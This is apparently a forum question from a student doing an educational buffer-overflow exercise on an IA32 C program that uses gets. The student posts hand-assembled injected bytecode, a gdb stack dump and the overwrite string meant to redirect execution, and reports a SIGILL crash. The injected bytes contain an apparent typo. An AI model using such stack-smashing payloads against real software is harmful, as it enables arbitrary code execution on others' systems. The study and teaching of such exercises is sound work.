我仅出于教育目的执行缓冲区溢出。我有一个名为的函数,它使用gets 接收来自终端的输入。我想强制此函数将特定值“ 0x524ddf1e
”返回给调用它的函数,并使其不知道堆栈已被修改。这是在 IA32 上运行的 C 代码。我的思考过程如下:
1. b8 1e df 4d 52 mov $0x524ddf1e,%eax
2. bd f8 72 ff ff mov $0xffff72f8,%ebp
3. 68 12 8a 04 08 push $0x8048a12
4. c3 ret
第 1 行。我想将我的特定值移动到 %eax。
第 2 行。我中断函数并将 ebp 读取为 0xffff72f8,因此我想将其返回以保持堆栈清洁。
第 3 行。我想返回在正确位置调用我的函数。
第 4 行,返回。
我的堆栈冻结进入函数的转储是:
(gdb) x /16wx 0xffff72a4
0xffff72a4: 0x00681fc4 0x00671a62 0x00682ab0 0xf7ffc6b0
*(VVVV 0xffff72b4 is where my exploit code is written VVVV)*
0xffff72b4: 0x00000001 0x00000001 0xffff7304 0x080483c8
0xffff72c4: 0x0804a108 0xffff72f8 0x08048a12 0x00000000
0xffff72d4: 0x00000000 0xffff72f8 0x006ce7d0 0xffffd5b8
%ebp 和 %esp 是:
esp 0xffff72a0 0xffff72a0
ebp 0xffff72c8 0xffff72c8
当我考虑编写原始字节码(稍后被解释)时,我执行以下操作:
b8 1e df 4d 52 db f8 72 ff ff 68 12 8a 04 08 c3 08 a1 04 08 f8 72 ff ff b4 72 ff ff
|---------------exploit code-------------------||------keep same------||-where exploit code starts-|
Keep same
是我刚刚决定在上面的堆栈转储中保持原始值与以前相同的地方。
我想我在编写程序集时或在尝试编写要注入的字节码时误解了一些东西。我在 0xffff72b9 看到一个 SIGILL。任何建议表示赞赏。